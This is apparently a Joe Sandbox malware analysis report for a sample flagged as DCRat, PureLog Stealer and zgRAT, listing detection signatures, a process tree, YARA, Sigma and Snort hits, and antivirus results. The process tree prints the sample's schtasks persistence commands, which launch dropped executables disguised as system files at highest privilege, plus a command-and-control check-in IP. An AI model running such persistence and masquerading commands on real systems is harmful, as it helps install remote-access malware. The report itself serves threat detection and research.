Edit tour

Windows Analysis Report
1tQ7HC6GOS.exe

Overview

General Information

Sample name:	1tQ7HC6GOS.exe renamed because original name is a hash value
Original sample name:	77F8F69A2DFE223CCA4CF0E5FAD714FC.exe
Analysis ID:	1419054
MD5:	77f8f69a2dfe223cca4cf0e5fad714fc
SHA1:	f731448a3b2a14d53cc80f070a270e8514ba8bf1
SHA256:	c7fd70a6e7e17aebbb8c398e0824d948598bc3558a5016165db3ca7d854c8e33
Tags:	DCRatexe
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

Creates processes via WMI

Drops executable to a common third party application directory

Drops executables to the windows directory (C:\Windows) and starts them

Found pyInstaller with non standard icon

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to detect virtual machines (SGDT)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Startup Folder File Write

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

1tQ7HC6GOS.exe (PID: 7272 cmdline: "C:\Users\user\Desktop\1tQ7HC6GOS.exe" MD5: 77F8F69A2DFE223CCA4CF0E5FAD714FC)

5GG.exe (PID: 7340 cmdline: "C:\Users\user\AppData\Local\Temp\5GG.exe" MD5: D8C47724D1AC161564731578199131FB)

5GG.exe (PID: 3412 cmdline: "C:\Users\user\AppData\Local\Temp\5GG.exe" MD5: D8C47724D1AC161564731578199131FB)

cmd.exe (PID: 2188 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DCRatBuild.exe (PID: 7356 cmdline: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" MD5: CC2DB8C6905895E60C7E99B2A0D3BF24)

wscript.exe (PID: 7404 cmdline: "C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7472 cmdline: C:\Windows\system32\cmd.exe /c ""C:\MsComponentSvc\MXgWX4.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

hyperServer.exe (PID: 7528 cmdline: "C:\MsComponentSvc/hyperServer.exe" MD5: DF7F61CEDD325D4A957DC5E5D5B382FC)

schtasks.exe (PID: 7704 cmdline: schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7720 cmdline: schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7756 cmdline: schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7772 cmdline: schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7788 cmdline: schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXH" /sc ONLOGON /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7812 cmdline: schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7828 cmdline: schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 11 /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7852 cmdline: schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7880 cmdline: schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 9 /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7900 cmdline: schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7916 cmdline: schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7932 cmdline: schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7956 cmdline: schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 12 /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7984 cmdline: schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXH" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8000 cmdline: schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 11 /tr "'C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 8032 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 8076 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 8100 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

TextInputHost.exe (PID: 7276 cmdline: "C:\Windows\apppatch\AppPatch64\TextInputHost.exe" MD5: DF7F61CEDD325D4A957DC5E5D5B382FC)

cmd.exe (PID: 8120 cmdline: "C:\Program Files\Windows Defender\Offline\cmd.exe" MD5: DF7F61CEDD325D4A957DC5E5D5B382FC)

cmd.exe (PID: 8136 cmdline: "C:\Program Files\Windows Defender\Offline\cmd.exe" MD5: DF7F61CEDD325D4A957DC5E5D5B382FC)

oZTcEkJaieSsRsrMRoYKmeAXH.exe (PID: 8164 cmdline: "C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe" MD5: DF7F61CEDD325D4A957DC5E5D5B382FC)

oZTcEkJaieSsRsrMRoYKmeAXH.exe (PID: 8172 cmdline: "C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe" MD5: DF7F61CEDD325D4A957DC5E5D5B382FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\apppatch\AppPatch64\TextInputHost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\apppatch\AppPatch64\TextInputHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\StartMenuExperienceHost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\StartMenuExperienceHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows Defender\Offline\cmd.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Windows Defender\Offline\cmd.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\MsComponentSvc\hyperServer.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\MsComponentSvc\hyperServer.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1664295884.0000000005308000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000006.00000000.1726122592.0000000000092000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000002.00000003.1663486823.00000000051FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.1826950535.00000000127A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: hyperServer.exe PID: 7528	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: TextInputHost.exe PID: 7276	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
2.3.DCRatBuild.exe.53566f5.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
2.3.DCRatBuild.exe.53566f5.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.3.DCRatBuild.exe.524d6f5.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
2.3.DCRatBuild.exe.524d6f5.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.0.hyperServer.exe.90000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
6.0.hyperServer.exe.90000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.3.DCRatBuild.exe.524d6f5.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
2.3.DCRatBuild.exe.524d6f5.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.3.DCRatBuild.exe.53566f5.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
2.3.DCRatBuild.exe.53566f5.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f, CommandLine: schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\MsComponentSvc/hyperServer.exe", ParentImage: C:\MsComponentSvc\hyperServer.exe, ParentProcessId: 7528, ParentProcessName: hyperServer.exe, ProcessCommandLine: schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\Offline\cmd.exe'" /rl HIGHEST /f, ProcessId: 7916, ProcessName: schtasks.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\1tQ7HC6GOS.exe, ProcessId: 7272, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, ParentProcessId: 7356, ParentProcessName: DCRatBuild.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe" , ProcessId: 7404, ProcessName: wscript.exe

Snort Signatures

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 62.109.7.175

Timestamp:	04/02/24-23:42:25.251510
SID:	2048095
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 1tQ7HC6GOS.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Recovery\StartMenuExperienceHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat	Avira: detection malicious, Label: BAT/Runner.IL
Source: C:\MsComponentSvc\hyperServer.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Multi AV Scanner detection for dropped file

Source: C:\MsComponentSvc\hyperServer.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\StartMenuExperienceHost.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Default\Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	ReversingLabs: Detection: 16%
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\4.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: 1tQ7HC6GOS.exe

ReversingLabs: Detection: 68%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Joe Sandbox ML: detected
Source: C:\Recovery\StartMenuExperienceHost.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Joe Sandbox ML: detected
Source: C:\MsComponentSvc\hyperServer.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1tQ7HC6GOS.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAABFAF0 CRYPTO_zalloc,ERR_put_error,CRYPTO_free,	41_2_00007FFDFAABFAF0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAB7B50 CRYPTO_zalloc,	41_2_00007FFDFAAB7B50
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAC1A90 CRYPTO_free,CRYPTO_strdup,	41_2_00007FFDFAAC1A90
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA14FB EVP_PKEY_get1_tls_encodedpoint,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	41_2_00007FFDFAAA14FB
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAC3C10 CRYPTO_free,CRYPTO_memdup,	41_2_00007FFDFAAC3C10
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA102D CRYPTO_malloc,COMP_expand_block,	41_2_00007FFDFAAA102D
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA1FF0 CRYPTO_free,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,	41_2_00007FFDFAAA1FF0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA1C8A CRYPTO_free,CRYPTO_memdup,	41_2_00007FFDFAAA1C8A
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA1122 CRYPTO_free,	41_2_00007FFDFAAA1122
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAF1900 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	41_2_00007FFDFAAF1900
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA129E CRYPTO_THREAD_run_once,	41_2_00007FFDFAAA129E
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAADF920 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	41_2_00007FFDFAADF920
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAEB890 BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,	41_2_00007FFDFAAEB890
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAACF874 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	41_2_00007FFDFAACF874
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAD7860 CRYPTO_free,CRYPTO_free,	41_2_00007FFDFAAD7860
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA18DE CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	41_2_00007FFDFAAA18DE
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAC58B7 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	41_2_00007FFDFAAC58B7
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAC78A0 X509_VERIFY_PARAM_free,CRYPTO_free_ex_data,BIO_pop,BIO_free,BIO_free_all,BIO_free_all,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	41_2_00007FFDFAAC78A0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA10F5 EVP_PKEY_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_new,RSA_pkey_ctx_ctrl,CRYPTO_free,EVP_MD_CTX_free,EVP_MD_CTX_free,	41_2_00007FFDFAAA10F5
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA20F9 BN_bin2bn,BN_is_zero,CRYPTO_free,CRYPTO_strdup,CRYPTO_clear_free,	41_2_00007FFDFAAA20F9
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA1974 CRYPTO_free,CRYPTO_memdup,	41_2_00007FFDFAAA1974
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA7A50 CRYPTO_free,	41_2_00007FFDFAAA7A50
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAD3A40 CRYPTO_zalloc,ERR_put_error,_time64,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,	41_2_00007FFDFAAD3A40
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA13B6 CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	41_2_00007FFDFAAA13B6
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAD7A20 CRYPTO_free,	41_2_00007FFDFAAD7A20
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAD79B0 CRYPTO_free,	41_2_00007FFDFAAD79B0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAADEE0 CRYPTO_free,	41_2_00007FFDFAAADEE0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAB7F50 CRYPTO_free,CRYPTO_memdup,	41_2_00007FFDFAAB7F50
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA16F9 CRYPTO_free,	41_2_00007FFDFAAA16F9
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAFFF20 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,	41_2_00007FFDFAAFFF20
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAABDE80 CRYPTO_mem_ctrl,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,OPENSSL_sk_push,OPENSSL_sk_sort,CRYPTO_mem_ctrl,	41_2_00007FFDFAABDE80
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA2185 CONF_parse_list,ERR_put_error,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	41_2_00007FFDFAAA2185
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA2220 CRYPTO_free,CRYPTO_memdup,	41_2_00007FFDFAAA2220
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAADFF0 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,	41_2_00007FFDFAAADFF0
